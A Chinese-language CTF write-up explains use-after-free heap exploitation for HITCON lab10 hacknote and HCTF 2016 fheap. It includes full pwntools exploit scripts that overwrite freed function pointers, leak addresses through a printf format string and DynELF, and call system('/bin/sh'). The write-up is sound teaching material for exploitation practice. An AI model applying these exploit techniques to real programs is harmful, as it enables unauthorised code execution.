Use After Free
内存释放后没有把指针置 NULL,导致可以对这块内存再次使用
HITCON training lab10 hacknote
有一个 cat flag 的后门
申请的内存会放在这个数组这里
同时在 del_note 函数中,free 过后的指针没有置为 NULL
希望能通过改变指针来让程序执行后门读取 flag
我们先随便申请两个来看一下内存是怎么分布的
每申请一个,首先会申请一个 0x10 大小的,用来存放 printf 的地址与申请的堆块的地址
然后会把申请的堆块的地址放到 notelist 数组中
然后我们释放掉他们两个,这样四块 chunk 都会被放在 fastbin 中(fastbin 是后进先出),这时候再去申请一个 0x8 大小的,当然为了对齐他会申请 0x10,这样原本两个 0x10 大小的用来放 printf 和堆块指针的 chunk 就被用来作为这次申请的放 printf 之类的和真正申请的 chunk 的地址,所以我们就可以改掉其中一个放 printf 的地方的地址为 magic 的地址,然后通过 show 来 cat flag
#coding:utf-8
from pwn import *
p = process('./hacknote')
#p = remote('node3.buuoj.cn',28416)
magic_addr=0x8048986
def cmd(choice):
p.sendlineafter('choice :',str(choice))
def addnote(size,content):
cmd(1)
p.sendlineafter('size :',str(size))
p.sendlineafter('Content :',content)
def delete(index):
cmd(2)
p.sendlineafter('Index :',str(index))
def show(index):
cmd(3)
p.sendlineafter('Index :',str(index))
addnote(16,'aaaa') #0
addnote(16,'bbbb') #1
delete(0)
delete(1)
addnote(8,p32(magic_addr))
gdb.attach(p)
pause()
show(0)
p.interactive()
2016 HCTF fheap
参考:https://aluvion.github.io/2019/05/14/HCTF2016-fheap%E5%AD%A6%E4%B9%A0/
emmm,这个题…一开始没用 IDA 看我还以为题目出了问题😂,他是输入选项字符串
如果输入的长度是小于 0xF 的话直接放到一开始 malloc 的 ptr 那里,如果大于的话先申请一个,放到申请的里面再把后来申请的这一个的地址给放到 ptr 中
另外 ptr+3 那个位置还放了调用 free 函数的地址
create(0x10,'yichen')
create(0x20,'a'*17)
对于代码段来说,只需要把地址改成 d2d 就能执行 puts 函数
思路是首先申请两个小于 0xf 的堆,然后释放掉,再申请一个大于 0xf 的,这样放这个 chunk 的指针的地方占前面释放的一个,这个 chunk 占另一个,同时这个 chunk 可以修改掉之前存放用来 free 的函数的地址的那个地方,我们把最后一位改成 \x2d,就改成 puts 函数的地址了,当 delete 的时候就会把真实地址给泄露出来
拿到真实地址之后再减去 0xd2d 得到的就是基址,那么基址加上 printf 的偏移拿到 printf 的地址,通过 printf 格式化字符串来泄漏 system 的地址
通过调试可以发现我们输入的 yes12345 正好在栈上第三个参数的位置,而 64 位程序,在寄存器上面还有 6 个参数,所以是第九个参数
然后写出这样一个 leak 函数
def leak(addr):
delete(0)
data = '%9$sAA' + '#'*(0x18 - len('%9$sAA')) + p64(printf_plt)
#前面24个占空,后面写成printf的地址
create(0x20, data)
p.recvuntil("quit")
p.sendline("delete string")
p.recvuntil('id:')
p.sendline(str(1))#然后一释放,就会去调用printf
p.recvuntil('sure?:')
p.sendline('yes12345' + p64(addr))
data = p.recvuntil('AA')[:-2]#就能得到addr的内容
data += "\00"
return data
再这样就能自己找出来了
d = DynELF(leak,base_addr,elf = ELF('./pwn'))
system_addr = d.lookup('system','libc')
拿到 system 的地址之后我们要做的就是把 system 的地址写到 free 的那个函数那里,然后拿到 shell
data = '/bin/sh;' + '#'*(0x18 - len('/bin/sh;')) + p64(system_addr)
create(0x20,data)
delete(1)
完整 exp
from pwn import *
context.log_level = "debug"
p = process("./pwn")
elf = ELF("./pwn")
def create(size,content):
p.sendline('create ')
p.sendlineafter('size:',str(size))
p.sendafter('str:',content)
def delete(index):
p.sendline('delete ')
p.sendlineafter('id:',str(index))
p.sendafter('sure?:','yes 12345')
def leak(addr):
delete(0)
data = '%9$sAA' + '#'*(0x18 - len('%9$sAA')) + p64(printf_plt)
create(0x20, data)
p.recvuntil("quit")
p.sendline("delete string")
p.recvuntil('id:')
p.sendline(str(1))
p.recvuntil('sure?:')
p.sendline('yes12345' + p64(addr))
data = p.recvuntil('AA')[:-2]
data += "\00"
return data
create(0x4,'aaaa')
create(0x4,'aaaa')
delete(1)
delete(0)
create(0x20,'a'*24+'\x2d')
delete(1)
p.recvuntil("a"*24)
puts_addr = u64(p.recvline("\n")[:-1].ljust(8,"\x00"))
base_addr=puts_addr-0xd2d
printf_plt = base_addr + 0x9d0
delete(1)
d = DynELF(leak,base_addr,elf = ELF('./pwn'))
system_addr = d.lookup('system','libc')
delete(0)
data = '/bin/sh;' + '#'*(0x18 - len('/bin/sh;')) + p64(system_addr)
create(0x20,data)
delete(1)
p.interactive()